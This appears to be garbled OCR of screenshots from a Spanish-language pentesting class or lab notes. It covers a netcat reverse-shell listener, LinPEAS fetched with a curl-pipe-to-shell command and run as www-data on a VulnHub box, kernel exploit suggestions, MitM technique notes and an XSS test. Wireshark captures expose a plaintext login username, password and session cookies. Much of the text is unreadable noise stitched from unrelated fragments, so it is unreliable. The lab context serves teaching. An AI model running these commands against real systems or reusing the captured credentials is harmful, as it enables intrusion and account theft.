Change these to different unique phrases!
You can generate these using the {glink https://api.wordpress.org/secret-key/1.1/salt/ Wo
You can change these at any point in time to invalidate all existing cookies. This will fq

@since 2.6.0
EcHCOYt WIGWet ec! RYW WiaewrmrYUaql ¢t BYErrrrrrrr
Ot ec¢cl RYalll YYq
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Listener

# nc -lvnp 9602

[
Type

2Uhie JWG6 ¢! WHRI RWUBEQRE s Wwa Ct W6 ¢ HRae ¢ @ 1O
EOWI 2t 61300t IOHY G WG 13t Wa WKW WHRAG Y WG Wawlne ¢ TIwWw |
GYl hueJWs YI T Gl Wt + b WG YWt RW ¢ ABG Y WG Wa 0Nz ¢ TI13wWl
ERIJOGI DWWt Wi YWERt GYall AHagectUGRACI AWGet + sYI T+ Wneldl
Yl ¢c Wi RA®NWBGH RACHRZUWge G HRijUWWIUWucé¢aRWx RU2 #a
a alfonso@kali: /usr/share/peass/linpeas Q
$ linpeas
> peass ~ Privilege Escalation Awesome Scripts SUITE
linpeas_darwin_amd64
— Llinpeas_darwin_armé4

linpeas_fat.sh
linpeas_linux_386

— Llinpeas_linux_amd64

linpeas_linux_arm

linpeas_linux_armé4

linpeas.sh

linpeas_small.sh
/usr/share/peass/linpeas

|
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C @ O 8 github.com
- Import bookmarks, OffSec  KaliLinux # KaliTools  KaliDocs X KaliForums  KaliNetHunter = Exploit-DB % Google Hacking DB

linP!
Files mocas

(] ; n o a 2 0

master

L Esté compartiendo la pantalla S ® L1 Ll L

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on

Check the Local Linux Privilege Escalation checklist

0¢c GalWEt A UPCW Ut T WWne Il ¢

x RUGNU¢t alWIEY ¢ Ue Wl 3+ T 3W 3Uql Ya
EOWUGW] RaqéeHa
Quick Start

Find the latest versions of all the scripts and binaries in

- :
1 -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

EUWEYNDUIWIt qlw! wl YUT WaqUPa Y WaeWt 6 GGol 32131+ Ja

/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( 1defined('ABSPATH') )

define( 'ABSPATH', dirname(__FILE__) . '/');

/%% Sets up WordPress vars and included files. */

require_once(ABSPATH . "wp-settings.php');

$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sp | shj

éc¢c e W6eHIII We ULt 6 IOWEY W WHERI W8 ¢ Al CWe UWHZT RNY Whua I
Gl YNNI ¢GRq¢ b WO



/%** Sets up WordPress vars and included files. */

require_once(ABSPATH . 'wp-settings.php');

$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

sh: 6: curl: not found

$ wget

wget

wget: missing URL

Usage: wget [OPTION]... [URL]...

Al YWrez |l awOYWIt qCWRUt q¢ GBd IYEAWER (3 10 WH RUHLIGIHE HE ¢ AUHTY 10
T It Hel Nel GiYa

$ wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

--2026-03-25 16:18:03-- https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Resolving github.com (github.com)... 140.82.121.3

Connecting to github.com (github.com)|140.82.121.3|:443... connected.

HTTP request sent, awaiting response... 302 Found

Location: https://github.com/peass-ng/PEASS-ng/releases/download/20260323-31545e76/1inpeas.sh [following]

--2026-03-25 16:18:04-- https://github.com/peass-ng/PEASS-ng/releases/download/20260323-31545e76/1inpeas.sh

Reusing existing connection to github.com:443.

HTTP request sent, awaiting response... 302 Found

Location: https://release-assets.githubusercontent.com/github-production-release-asset/165548191/73f5566e-649f-48d5-a103-2456
sct=application%2Foctet-streamgskoid=96c2d410-5711-43al-aedd-ab1947aa7ab0&sktid=398a6654-997b-47e9-b12b-9515b896b4desskt=2026
%2BKN3A%3D& jwt=eyJ0eXAi0iJKV1QiLCIhbGci0iJIUZIINiIJ9.eyIpc3MiOiInaXRodWIuY29tIiwiYXVKIjoicmVsZWFzZS1hc3N1dHMuZ210aHVidXNlcmNvb
1vbi5ibG9iLmNvemUud21uZ693cy5uzXQifQ. _1YHhDkeWX95Tj5t9M7yLjzyeegz61Ra_M-uepoDSmQsresponse-content-disposition=attachment%3B%2
--2026-03-25 16:18:05-- https://release-assets.githubusercontent.com/github-production-release-asset/165548191/73f5566e-649
%3Dlinpeas.shérsct=application¥%2Foctet-streaméskoid=96c2d410-5711-43al-aedd-ab1947aa7ab0ssktid=398a6654-997b-47€9-b12b-9515b8
LwT686Vti4YNhKF%2BKN3A%3DE jwt=eyJ0eXAi0iIKV1QiLCIhbGci0iJIUZIINiII9. eyIpc3MiOiInaXRodWIuY29tIiwiYXVKIjoicmVsZWFzZS1hc3N1dHMuZ2,
Zc2VOcHIVZHVjdGlvbi5ibG9iLlmNvemUud21uzZG93cy5uZXQifQ. _1YHhDkeWX95Tj5t9M7yLjzyeegz61Ra_M-uepoDSmQéresponse-content-dispositions
Resolving release-assets.githubusercontent.com (release-assets.githubusercontent.com)... 185,199.109.133, 185.199.110.133, 18
Connecting to release-assets.githubusercontent.com (release-assets.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK

Length: 1033031 (1009K) [application/octet-stream]

olWneaUrRRYUC¢ a
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linpeas.sh wp-comments-post.php wp-links-opml.php wp-signup.php
readme.html wp-config.php wp-load.php wp-trackback.php
wp-activate.php wp-content wp-login.php xmlrpc.php 0
$ sh linpeas.sh

sh linpeas.sh id




ADVISORY

ook.hacktricks.wiki/en/linux-hardening/linux-pri

LEGEND:

IEJAENNN: 95% a PE vector

: You should take a look into it
: Users with console
Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
: Your username

Basic information

0S: Linux version 4.10.0-28-generic (builddalgw@1-12) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntul~16.04.4) ) #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: vtcsec

(LinPEAS can discover hosts, learn more with -h)
(LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)
(LinPEAS can discover hosts and scan ports, learn more with -h)
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* variable (1..21)

: CVE-2017-7308 | Name: a yver>=3.2,ver<=4.10.6,CONFIG_USER_NS=y,sysctl:ke .unprivileged_userns_clone==1 | Tags: ubuntu=16.04{kernel:4.8.0-(34]36/39
El'ﬂnp.rmdu!ﬂls-ymdd Mﬁaﬁvmmn 'm-url' adds support for additional kernel:
: CVE-2017-16995 | Name: eBPF_verifier | Match data: pkg=linux-kernel,ver>=é.4,ver<=4.14.8,CONFIG_BPF_ muy,-yuu kernel.. leged_bpf_disabled!=1 | Tags: debian=9.0{kernel:4.9.0-3-i
o-n-p-ri:} nhmt-(u 04]17.04) {kernel:4.(8|10).. o-(l!lulu)-ﬂmrk) | Rank: 5 | Details: CONFIG_BPF_SYSCALL needs to be set &6 kernel.unprivileged_bpf_disabled =
: CVE-2017-1000112 | Name: NETIF_F_UFO | Match data: pkg=li nn-lwrml,vm-. 4,ver<=h. 13, CONFIG_USER_NS=y, sysctl:kernel.unprivileged_userns_ clm—l | Tags: ubuntu=14.04{kernel:4.4.0-*},ubui
support

JE: CVE-: -27365 | Name: linux-iscsi | Match data: pkg=linux-kernel,ver<=5 CONFIG_SLAB_FREELIST | Tags: RHEL=8 | Rank: 1 | Detail CONFIG_SLAB_FREELIST_HARDENED must not b
: CVE-2021-3493 | Name: Ubuntu OverlayFS | Match data: pkg=linux-kernel,ver>=3.13,ver<5.14,x86_64 | Tags: ubuntu=(14.04|16.04]18.04|20.04]20.10) | Rank: 1 T petails: only Ubuntu is affected
3 1 heap f-bounds write | Match data: N-um-lwml.nv-: 6.19,ver<=5.12-rc6 | Tags: ubuntu=20.04{kernel:5.8.0-*} | Rank: 1 | Details: ip_tables kern
: CVE-2022-32250 | Name: nft :_object UAF (NFT_MSG_NEWSET) | Match data: pkg=linux-kernel,ver<5.18.1,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 | Tags: ubuntu=(22.04){kernel:!
uwivﬂmd userns_clone=1 required (to obtain CAP_NET_ADMIN
: CVE-2017-16695 Ih get_rekt | Match data: 4.4.0,4.8.0,4.10.0,4.13.0 | Tags: 1 ink: http:, .exploit-db.com/exploits,
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Google CVE-2017-7308
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)
)
| LHigh risk: root-owned and writable U socket]
/run/systemd/cgroups-agent
/run/systemd/fsck Dgress

e )

L(
_Higl k: root-owned and writable Un 50 t
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Checking 'sudo -1', [lm, and /etc/sudoers.d

[sudo] password for www-data:

[sudo] password for www-data: “C

/home/alfonso
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https://cyb3r-kr4k3s.medium.com/vulnhub-basic-pentesting-1-esp-c31ea2e21d68
https://infosecwriteups.com/basic-pentesting-1-walkthrough-vulnhub-4dac91b416ff
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HTTP vs HTTPS: GUIA ESENCIAL

Diferencias clave y por qué importa la seguridad

{ HTTP "HTTPS
f ¢QUEES? N
Protocolo para transferir datos Version segura de HTTP
entre cliente y servidor con cifrado )
/ A\
DIFERENCIA PRINCIPAL

\
@ X Datos sin cifrar

X Informacion visible

% Datos cifrados

a (&

% Comunicacién segura
L 21 < )
( COMO FUNCIONA N
G I :
=y =) F =)
Cliente Servidor tgx?go;fl:sO \Cliente Cifrado  Servidor Descifrado
v
- CERTIFICADO SSL ~
EI HTTPS utiliza certificados SSL/TLS [ A ~_... : T
para cifrar la comunicacion L@ Certificado activo -> conexién segura J

-
A X - Vulnerable a ataques
L 5\ X - Interceptacion de datos

SEGURIDAD

) |®

© - Proteccion de datos °m

©@ - Seguridad en login, pagos, etcj

~ URL RESUMEN RAPIDO e
http://ejemplo.com J ‘ (" wre ) HTTPS )

CUANDO USARLO |« Seguro

i % No recomendado actualmente X Sin i?f?::l% |  Cifrado

L ) | « Recomendado y

( o SiEmpre g - EXTRA: CONSEJOPRO

% Datoatu « Webs modernas Si tu web no usa HTTPS, los
comunicarén « Aplicaciones navegadores la marcaran
L v APls ) como insegura
\ 4

~
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GROYH W el t Y 1O
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alfonso@debian:~$ ip a

1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1060
link/loopback o] 0 ©:00 brd
inet 127.06.0.1/8 scope host lo

valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host noprefixroute
valid 1ft forever preferred 1ft forever

23 I <BROADCAST,MULTICAST,UP, LOWER UP> mtu 1500 qdisc fq codel state UP group default gqlen 1000
llnk/ether 48:9¢ al:39 brd ff:ff:ff
altname enx489ebda1a139
inet 192.168.1 8/24 brd 192.168.1.255 scope global dynamic noprefixroute enpllse

valid_1ft 411255ec preferred 1ft 41125sec
inet6 fe80::4a%e:bdff:feal:al39/64 scope link noprefixroute
valld 1ft forever preferred 1ft forever
3: <NO-CARRIER, BROADCAST,MULTICAST, UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
11nk/ether f } fa:6a brd ff:ff:ff:ff:ff:ff permaddr 10:6f:d
altname wlx106fd9a7eaed
alfonso@debian:~$

EGWGI YnWWgRWUWa

p GYallgéc! TWaé WaYHEGOWEL qé WOY W RI 21310
p EUGNNt MoOWReE ! TWaqe Wl ywl 3T WHY!I | WHqE 1O
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lo: Es una interfaz virtual que sirve para que el propio sistema se comuoaitgigo
mismo.

1 Direccion tipica127.0.0.1
1 Nombre comuntocalhost
1 No sale a la red fisica (ni WiFi ni cable)
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The Wireshark Network Analyzer

Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

AODAG s BBR@ @a « »n «>»HEE oo oHE

Welcome to Wireshark

...usando este filtro: LI filt tura Todas las interfaces mostradas -

eth0
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
© Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
® Random packet generator: randpkt
® systemd Journal Export: sdjournal
® SSH remote syscall capture: sshdig
© SSH remote capture: sshdump
© UDP Listener remote capture: udpdump
® Wi-Firemote capture: wifidump

é1aYt Wict Wal ¢cacet W WaYt WGE ue Dqldt

Aplicaciones  Lugares 26 de mar 19:04

Capturing from ethO

Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

ADOAG cBBM@ 2 ¢« »>n<«>»PEocoolE

Source Destinat{»n Protocol Length Info

.938267972 fe80::4a%e:bdff:fea ICMPV6 Multicast Listener Report Message

.947770661 fe80::122c:biff:fe7 ICMPV6 Multicast Listener Report Message
86 25.950968035 fe80::a00:27ff:fed4. 2 ICMPV6 90 Multicast Listener Report Message v2
87 25.959769595 fe80::290:4cff:fecs. ICMPV6 90 Multicast Listener Report Message v2
88 26.043349005 fe80::122c:biff:fe7. ICMPV6 90 Multicast Listener Report Message v2
89 26.044787627 fe80::edc:91ff:fe2e.. == ICMPV6 116 Multicast Listener Report Message v2
91 26.351176639 fe80::617:b6ff:feda.. ICMPV6 90 Multicast Listener Report Message v2
92 26.394237544 fe80::52fd:d5ff:fee.. ICMPVE 86 Multicast Listener Report
93 26.511859716 192.168.1.134 MDNS 100 Standard query ©x0000 PTR _companion-link._tcp.local, "QM"
94 26.512217388 feB80::1470:6047:7a7.. MDNS 120 Standard query ©x0000 PTR _companion-link._tcp.local, "QM"
95 26.735276918 fe80::1470:6047:7a7.. ICMPV6 110 Multicast Listener Report Message v2
98 26.841970695 192.168.1.138 224.0.0.251 IGMPV2 60 Membership Report group 224.0.0.251
99 27.188560636 Ring _b2:26:74 Broadcast ARP 60 ARP Announcement for 192.168.1.37
100 27.483177691 fe80::9a97:d1ff:fea. ffo2::1 ICMPV6 78 Router Advertisement from 98:97:d1:aa:c2:6d
104 29.498416174 192.168.1.134 224.0.0.251 MDNS 100 Standard query ©x0000 PTR _companion-link._tcp.local, "QM"
105 29.499083453 fe80::1470:6047:7a7.. ff02::fb 120 Standard query 0x0000 PTR _companion-link._tcp.local, "QM"

» Frame 1: Packet, 118 bytes on wire (944 bits), 118 bytes captured (944 bits) on interface eth®, id ©
» Ethernet II, Src: TpLinkTechno_f9:4a:07 (98:48:27:f9:4a:07), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

» HomePlug AV protocol

EVWGa T WWGe !l ¢l WWEUWWOGWAYqzU0Wwl YTVYIO
x YWhe JWIJt WRUqUI 3t ¢cUqWIt We GaRHAE T W3 dql Y allx JWI R

Source Destination Protocol_Length Info
369 115.003224470 SmartInnovat_a7:93: . Broadcast AR 66 ARP Announcement for 192.168.1.58
371 115 192.168.1.1 general

60 Member ship Que:
90 Multicast Li
116 Multicast
90 Multicast
90 Multicast

st L

372 115 386 fed0::9a97:d17f:fea
373 115.998775480 fe80: :4ade:bdff:fea
374 115.998776702 fe80: :1421:6eff:fed
375 115.998874877 fe80::a00:271f:fedd . ff02::16
376 115.999506216 fe80: :81d2:bd97:b2d.. 102::16

377 116.007958475 fe80: :946a:8dff:fee. Ff02::16
378 116.817679288 feB0: :290:4cff:fecs. 1162::16

379 116017087410 feB0::617:b6ff:feda. FF02::16 ] Listener Report Message
380 116017461985 feBo: :122c:b1ff:fe7. f102::16 1CHPVE st Listener Report Message v2
382 116 do:91ff:feze. 1762::16 ICHPV6 110 Multicast Listener Report Message v2
383 116 52fd:dSFf:fee. ff02::1:ffe0:47e0  ICHPVG 86 Multicast Listener Report

384 116 76 122c:b1FF:fe7. ff 1CHPVE 96 Multicast Listener Report Message v2
385 116.4 81 192.168.1.138 TGMPV2 60 Menbership Report group 224.8.9.251
386 117.186086968 Ring b2:26:74 Bro ARP 66 ARP Announcement for 192.168.1.37
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AODAG R BEBR@ a ¢« »n<«>»PE ocoonHEB

Source Destination Protocol Length Info
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Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

ADAG R BRB@ 2 ¢c>»n<«>AEoceolER

(R ]http

No. Time Source Destination Protocol Length Info
506 45.977140688 192.168.1.76 34.107.221.82 HTTP 376 GET /success.txt?ipv4 HTTP/1.1
522 45.984735868 34.107.221.82 192.168.1.76 HTTP 282 HTTP/1.1 200 OK (text/plain)

1520 52.843166328 192.168.1.76 172.217.171.35 0CSP 493 Request

: 1593 52.8995558600 172.217.171.35 192.168.1.76 0oCspP 1168 Response
i 1595 52.900103982 192.168.1.76 172.217.171.35 ocsP 493 Request
| 1630 53.005502910 172.217.171.35 192.168.1.76 0ocsP 1168 Response
1 4671 89.583230996 192.168.1.76 172.217.171.35 0oCspP 493 Request
i 4676 89.591582538 192.168.1.76 172.217.171.35 0oCsP 493 Request
i 4678 89.646035853 172.217.171.35 192.168.1.76 ocsp 975 Response
' 4680 89.649123225 172.217.171.35 192.168.1.76 ocspP 975 Response
i 4722 89.773419137 192.168.1.76 172.217.171.35 ocsP 493 Request
| 4724 89.832694473 172.217.171.35 192.168.1.76 0CSP 975 Response

Frame 506: Packet, 376 bytes on wire (3008 bits), 376 bytes captured 98 97 d1 aa c2 6d 08 00 27 44 27 Ba

Ethernet II, Src: PCSSystemtec_44:27:8a (08:00:27:44:27:8a), Dst: Mi 01 6a 84 71 40 00 40 06 T3 6a cO a8
Internet Protocol Version 4, Src: 192.168.1.76, Dst: 34.107.221.82 dd 52 88 72 00 50 05 8d 84 87 Of aa
Transmission Control Protocol, Src Port: 34930, Dst Port: 80, Seq: 1 00 3f c3 Ge 00 00 01 01 068 Oa d2 57
Hypertext Transfer Protocol 2b Oe 47 45 54 20 2f 73 75 63 63 65
78 74 3f 69 70 76 34 20 48 54 54 50
0d Ga 48 6f 73 74 3a 20 64 65 74 65
72 74 61 6Cc 2e 66 69 72 65 66 6f 78

NONNOOO O
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ADAG R BBR@ a ¢« »>n<«>»PEoconlHR

Destination Protocol Length Info
.680341753 ; : 192.168.1.76 HTTP 1506 [TCP Out-0f-0rd
.051361600 A .167.116 ; o1 HTTP/1.1 200 OK
.605197211 .1.76 GET /portal/sit
.163481305 .167.116 HTTP/1.1 200 OK
[ [ 6 { ) T t f-01
.439911035 E .1.76 g .167.116 HTTP POST /portal/dr
8699 288.458692839 192.168.1.76 148.202.167.116 HTTP 861 GET /portal/sit
8702 288.460478638 192.168.1.76 148.202.167.116 HTTP 831 GET /portal/sit
.665910122 .167.116 .1.76 HTTP/J... HTTP/1.1 200 OK

.685805990 g .167.116 HTTP GET /portal/dru
8716 290.778032785 192.168.1.76 148.202.167.116 HTTP 808 GET /portal/dru




alfonso@kali: ~

g biblioteca.udgvirtual.udg.mx

PING biblioteca.udgvirtual.udg.mx (148.202.167.116) 56(84) bytes of data.

EnWHqR2¢ 0 D0 qIIOWE Wd ¢ WNMYO=MZIONZ TIONNE
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Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda
dADAG o BABE@ a«>»n«>»HEoooHH

A http

No. Time Source Destination Protocol Length Info

C @ o a o udg.mx

- Import boakmarks.. OffSec KaliL & KaliTools  KaliDocs W Kali Forums

Inicio de sesion

UDG:

.......
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AODOAG c REBEM@ 2« ¢« »n «>»HPE oesoHER

(A]http B3 )+

No. Time Source Destination Protocol Length Info
172 48.086000574 192.168.1.76 148.202.167.179 HTTP 1040 POST /cas/login;jsessionid:
[ | 184 48.291419395 148.202.167.179 192.168.1.76 HTTP 1801 HTTP/1.1 200 OK (text/htm

I Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urle

cqYUcqRHCOWUqUWHE Gael ¢ Wi ¢ WRUNYOWx 2 3NYWRI CULWG G L
61OV We U¢ WEIE RERATVER RARIWEf W[ §A~Ox Af §b W WG Y W

Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

ADA® s BAE@ aec»n«>r@EonolRB

[W]http
No. Time Source Destination Protocol Length Info

172 48.086000574 192.168.1.76 148.202.167.179 HTTP 1040 POST /cas/login;jsessionid=97F49EZD7720F8H
184 48.291419395 148.202.167.179 192.168.1.76 HTTP 1801 HTTP/1.1 200 OK (text/html)

x ¢ W=DAUad RUIJ¢ Whue IJWIIY WG ¢ W 3t Ge Ut q¢c WetUYH W22 1302 1JLWe WC
Al YWGe WNDAUG RUNCE W2 Re WASENOWe ¢ HIJWHGRAL W I WHE Y W!



a Lfl HU.U0OTLITOVU  LTIL.IUU.L. IV L1940 . LUL . AVT L 2IT rur UU 401 J0 — OO [ALN] OCYH—1 MAUA—.
.086000574 168.1.76 ; 5 1040 POST /cas/login;jsessioni
.259614858 3 .167.179 i i 66 80 — 43798 [ACK] Seq=1 Ack=!
.291419395 : .167.179 2 7 1801 HTTP/1.1 200 OK (text/html
.291542147 ; .1.76 : ; 66 43798 . 80 [ACK] Seq=975 Acl
.298745363 ‘ .167.179 . : 66 80 — 43798 [FIN, ACK] Seq=1'
.299141083 ; O B (] " 2 66 43798 — 80 [FIN, ACK] Seq=9'
.543215440 ‘ .167.179 . ‘ 66 80 . 43798 [ACK] Seq=1737 A(

» Interface id: © (ethe)

Encapsulation type: Ethernet (1)

Arrival Time: Mar 26, 2026 19:14:23.764114744 CET

UTC Arrival Time: Mar 26, 2026 18:14:23.764114744 UTC

Epoch Arrival Time: 1774548863.764114744

[Time shift for this packet: 0.000000000 seconds]

[Time delta from previous captured frame: 2.074638 milliseconds]

[Time delta from previous displayed frame: 2.074638 milliseconds]

[Time since reference or first frame: 48.086000574 seconds]

Frame Number: 172

Frame Length: 1040 bytes (8320 bits)

Capture Length: 1040 bytes (8320 bits)

[Frame is marked: False]

[Frame is ignored: False]

[Protocols in frame: eth:ethertype:ip:tcp:http:urlencoded-form]

Character encoding: ASCII (0)

[Coloring Rule Name: HTTP]

[Coloring Rule String: http || tcp.port == 80 || http2]
Ethernet II, Src: PCSSystemtec_44:27:8a (08:00:27:44:27:8a), Dst: MitraStarTec_aa:c2:6d (98:97:d1l:aa:cz
Internet Protocol Version 4, Src: 192.168.1.76, Dst: 148.202.167.179
Tragp-=ission Control Protocol, Src Port: 43798, Dst Port: 80, Seq: 1, Ack: 1, Len: 974
Hy( xt Transfer Protocol
HTA Jrm URL Encoded: application/x-www-form-urlencoded

® E wireshark_ethOGOVMMS3.pcapng

ccRUWARIRAT WIUWG e Wi RUWDe W! Wt W3 TewWIUWaVYT ¢ Wt q¢ WRI

Ethernet II, Src: PCSSystemtec_44:27:8a (08:00:27:44:27:8a), Dst: MitraStarTec_aa:c2:6d (98:97:d1l:aa:c:z
Internet Protocol Version 4, Src: 192.168.1.76, Dst: 148.202.167.179
Transmission Control Protocol, Src Port: 43798, Dst Port: 80, Seq: 1, Ack: 1, Len: 974
Hypertext Transfer Protocol
~ POST /cas/login;jsessionid=97F49E2D7720F8F44E3491864F9656CA?service=http%3A%2F%2Fbiblioteca.udgvirtu:
Request Method: POST
~ Request URI: /cas/login;jsessionid=97F49E2D7720F8F44E3491864F9656CA?service=http%3A%2F%2Fbiblioteci
Request URI Path: /cas/login;jsessionid=97F49E2D7720F8F44E3491864F9656CA
Request URI Path Segment: /cas/login
Request URI Path Segment: jsessionid=97F49E2D7720F8F44E3491864F9656CA
~ Request URI Query: service=http%3A%2F%2Fbiblioteca.udgvirtual.udg.mx%2Fportal%2Fcas¥%3Fdestinatio
Request URI Query Parameter: service=http%3A%2F%2Fbiblioteca.udgvirtual.udg.mx%2Fportal%2Fcas%
RequesL~Ver$1on: HTTP/1.1
Host: www.udgvirtual.udg.mx\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\r\n
Accept: text/html,application/xhtml+xml, application/xml;q=06.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n
gn £&n &n 2 -\ N
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Host: www.udgvirtual.udg.mx\r\n &
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.06\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=06.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n

Accept-Encoding: gzip, deflate\r\n

Content-Type: application/x-www-form-urlencoded\r\n

Content-Length: 115\r\n

[Content length: 115]
Origin: http://www.udgvirtual.udg.mx\r\n
Connection: keep-alive\r\n
Referer: http://www.udgvirtual.udg.mx/cas/login?service=http%3A%2F%2Fbiblioteca.udgvirtual.udg.mx%2F|
Cookie: _ga=GA1.2.210785806.1774548672; _gid=GA1.2.354410493.1774548672; _ga_JZM4QPNC24=(GS2.2.s17745:
Upgrade-Insecure-Requests: 1\r\n
Prioritv: u=0. i\r\n

YWw2 ywoel ¢ AW RNe WWAe Te UT YW! WG RI ¢ WGY! Wi YUT Wa

Connection: keep-alive\r\n

Referer: http://www.udgvirtual.udg.mx/cas/login?service=http%3A%2F%2Fbiblioteca.udgvirtual.udg.mx%2Fj
Cookie: _ga=GA1.2.210785806.1774548672; _gid=GA1.2.354410493.1774548672; _ga_JZMAQPNC24=GS2.2.s17745
Upgrade-Insecure-Requests: 1\r\n

Priority: u=0, i\r\n

\r\n

File Data: 115 bytes

HTML Form URL Encoded: application/x-www-form-urlencoded

» Form it¥m: "username" = "jacinto"

» Form item: "password" = "basilea"

» Form item: "submit" = ""

» Form item: "1t" = "LT-11553-0dBDSONNeNEUiDLhptmscVNW1twvHz"
» Form item: "execution" = "els1"

» Form item: "_eventId" = "submit"
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man in the middle

2. Descifrado: El atacante intercepta datos cifrados (HTTPS) y emplea técnicas para
descifrarlos, como (degradar conexiones seguras a HTTP inseguro]
o el uso de certificados re +3

Técnicas comunes de MitM:

« WiFi malicioso (Evil Twin): Crear una red publica falsa para que los usuarios se
conecten a ella.

Spoofing ARP (Envenenamiento de caché ARP): Enganar a los equipos en una
red local (LAN) para que envien el trafico al atacante en lugar de a la puerta de
enlace real. N

Spoofing de DNS: Envenenar el servidor DNS para redirigir a los usuarios a sitios

web falsos que imitan a los legitimos.

Secuestro de sesion (Session Hijacking): Robar cookies de sesion después de
que un usuario inicia sesion, permitiendo al atacante tomar control de la
cuenta. @ INCIBE +4
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Técnicas comunes de MitM:

« WiFi malicioso (Evil Twin): Crear una red publica falsa para que los usuarios se
conecten a ella.

Spoofing ARP (Envenenamiento de caché ARP): Enganar a los equipos en una
red local (LAN) para que envien el trafico al atacante en lugar de a la puerta de
enlace real.

Spoofing de DNS: Envenenar el servidor DNS para redirigir a los usuarios a sitios
web falsos que imitan a los legitimos.

Secuestro de sesion (Session Hijacking): Robar cookies de sesion después de
que un usuario inicia sesion, permitiendo al atacante tomar control de la
cuenta. @ INCIBE +4
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2= Iniciar Vacaciones

Jornada:

X Jomada Iniciada - 26/03/2026 09:37:16
@ Jomada Pausada - 26/03/2026 09:42:06
» Jomada Reanudada - 26/03/2026 09:43:43 e e
@ Jomada Pausada - 26/03/2026 09:44:18 .
& Horas Extra Iniciadas - 26/03/2026 09:44:24

& Horas Extra Finalizadas - 26/03/2026 09:45:07

» Jomada Reanudada - 26/03/2026 09:45:16
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fR [0 Elementos Consola Fuentes Red Rendimiento Seguridad 2>

Aplicacion C Y Filtrar «cookies que tengan un p
» [ Archivo de manifiesto Nombre Valor D... [R.-. |[Ecce [Tee [How. [S. |8
P Serviceworkers demo efbfcfelfcebf7F454dc6b6... d.. | S.. 36 « ¢
B Almacenamiento demoitss fl0e6d19b7022be07fcbae... d... | S.. 40 4 4 S

demorrhh 8cTcdce?b73d30ad19753... d... | S 40 ¢+ v s

Almacenamiento
» BB Almacenamiento local
» B8 Almacenamiento de ses.
+ BB Almacenamiento de ext
» B IndexedDB
~+ @ Cookies

—_y @ https:f/demoifichar.c

Tokens de confianza
B Grupos de interés

» B Almacenamiento comp...

» B Almacenamiento en cac

Segmentos de almacen...

Servicios en segundo plano
B Caché de paginas comp
*, Obtencién en sequndo
€3 Sincronizacién ensegu.
B Mitigaciones del sequi
£ Notificaciones
B Controlador de pagos
(@ sincronizacion periadic.
» 1= Cargasespeculativas
& Mensajes push
D APIReporting
v (§ Sesionesvinculadas a di

Fotogramas

+ O top
Cookie Value (] Mostrar decodificados por URL
’ ‘ E efbicefcebf7f454dcGboDae7938! X

EORYUql ¢Vt WHclWOYVYt RUWEE e AW We UcW2el ReAG LW I

ERLWE O NealR WHELN WiHhgall W6 ¢ ! WU Wmsé e 0 Y wiOWA e IJHWHIRLLLAEY G Y W
hue WG DWGYT I ReUW2a2a U0 ¢l WaRWet e¢l RYW! WRYUGqI ¢t 13Y¢
EUWOHzUqgqe AWt RWa WW2Y! We G WHeE YYa

] []

ampus Hedi

Rendimiento

#% Cableado | > = WiFi

% Bluetooth \ > 29 Modo de energia

Balanceado

8c7cdce2b734

Luz nocturna © Estilo oscuro
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B3 Jornada Finalizada Teletrabajo O

X Iniciar Jornada

2~ Iniciar Vacaciones

<§£Li,3,t\> roba algo</§\§{ég§> ]

b

Jornada:

X Jornada Iniciada - 26/03/2026 09:37:16

@ Jomnada Pausada - 26/03/2026 09:42:06

Az It WGRET ¢ WGY! hue JWIIt JW RgRY WT JWE 6 RWhe 3WIIt We U WH Y
Gz IJt WGz T UlWhe JWIG W #I RGaqWid YWRUqWUI GI Wqllto

Alfonso Javier Gil Llamas

EOqYUHIDt AWGa It W RWaWWGWqUUOWe Ut #I RGaqWT VYT RT YIOWA =z
Al YWUO WG YnWG YWqRIWUWWAHGRUT ¢T1 Ya

> scr Aa ab * 1dei ™ML = X

) & $ POST['csrf token'] === $ SESSION['CSRF TOKEN'] && strpos($ POST['comentarios'], "script") === false) {

—

ECWYGWa RU2 qY W= Ma MMIOW? RAJWIIG WG YnlJaWERWE G Ne RIJU L
